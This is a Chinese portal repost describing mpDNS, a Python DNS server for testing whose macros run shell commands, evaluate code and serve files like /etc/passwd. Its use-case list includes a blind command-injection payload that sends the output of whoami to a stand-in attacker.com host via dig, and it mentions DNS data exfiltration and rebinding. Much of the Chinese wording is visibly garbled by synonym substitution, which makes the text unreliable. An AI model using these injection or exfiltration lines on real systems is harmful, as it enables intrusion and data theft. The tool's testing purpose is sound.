加入收藏 | 设为首页 | 会员中心 | 我要投稿 河北网 (https://www.hebeiwang.cn/)- 科技、建站、经验、云计算、5G、大数据,站长网!
当前位置: 首页 > 业界 > 正文

mpDNS:Python实现的多成果DNS处事器

发布时间:2019-03-21 02:22:40 所属栏目:业界 来源:Freebuf
导读:简朴、可设置的 clone和run DNS处事器,具有多种有效的成果。 合用于Python 2和3 names.db 包括全部自界说记录(拜见示例) 简朴的通配符,如* .example.com 捕捉unicode dns哀求 自界说举措又称宏: -{{shellexec::diggoogle.com+short}}执行shell呼吁并使
副问题[/!--empirenews.page--]

简朴、可设置的“ clone和run ”DNS处事器,具有多种有效的成果。

合用于Python 2和3

names.db – >包括全部自界说记录(拜见示例)

简朴的通配符,,如* .example.com

捕捉unicode dns哀求

自界说举措又称宏:

  1. - {{shellexec::dig google.com +short}} – >执行shell呼吁并行使result相应 
  2.  
  3. - {{eval::res = '1.1.1.%d' % random.randint(0,256)}}- >评估你的python代码 
  4.  
  5. - {{file::/etc/passwd}} – >回覆当地文件内容 
  6.  
  7. - {{resolve}} – >将DNS哀求转发到当地体系DNS 
  8.  
  9. - {{resolve::example.com}} – >理会example.com而不是原始记录 
  10.  
  11. - {{echo}} – >回覆对等地点 
  12.  
  13. - {{shellexec::echo %PEER% %QUERY%}} – >行使变量 

mpDNS:Python实现的多成果DNS处事器

支持的查询范例:A,CNAME,TXT

更新names.db记录而不重启/从头加载./mpdns.py -e

重度基于https://github.com/circuits/circuits/blob/master/examples/dnsserver.py

用法: ./mpdns.py

编辑names.db,./mpdns.py -e无需重启

袭击和防守目标:

1.您必要一个轻量级的简朴DNS处事器办理方案用于测试目标(不出产!)

2.测试Web应用措施中的各类盲注裂痕(譬喻/ping.php?ip=$(dig $(whoami).attacker.com))

3.在一个TXT查询中轻松渗出65K数据

4.DNS从头绑定

5.对特定查询执行自界说宏操纵(在恶意软件说明尝试室情形中很有效)

6.尚有更多。它是高度可定制的。

安装

git clone https://github.com/nopernik/mpDNS

限定

1.因为UDP数据报限定为65535字节,DNS相应限定在约65200字节, 此限定合用于TXT分成256字节块的记录,直到相应到达最大应承值65200b, 因此TXT宏记录{{file:localfile.txt}}限定为65200字节。

2.不支持嵌套通配符 test.*.example.com

3.{{resolve::example.com}}宏中不支持自界说DNS处事器理会措施

4.TTL始终设为0

例子

names.db示例:

  1. # Empty configuration will result in empty but valid responses 
  2. # Unicode domain names are not supported but still can be catched by the server. 
  3. # for example мама-сервер-unicode.google.com will be catched but with SERVFAIL response 
  4. passwd.example.com    TXT     {{file::/etc/passwd}}  #comments are ignored 
  5. shellexec            TXT     {{shellexec::whoami}} 
  6. eval                TXT     {{eval::import random; res = random.randint(1,500)}} 
  7. resolve1            A       {{resolve}} 
  8. resolve2            A       {{resolve::self}}      #same as previous 
  9. resolve3            A       {{resolve::example.com}} 
  10. blabla.com            A       5.5.5.5 
  11. *                    A       127.0.0.1 
  12. *.example.com        A        7.7.7.7 
  13. c1.example.com        CNAME    c2.example.com 
  14. c2.example.com        CNAME    c3.example.com 
  15. c3.example.com        CNAME    google.example.com 
  16. google.example.com    CNAME    google.com 
  17. test.example.com    A        8.8.8.8 
  18. google.com            A        {{resolve::self}} 
  19. notgoogle.com        A        {{resolve::google.com}} 

行使names.db示例输出示例:

(编辑:河北网)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!

热点阅读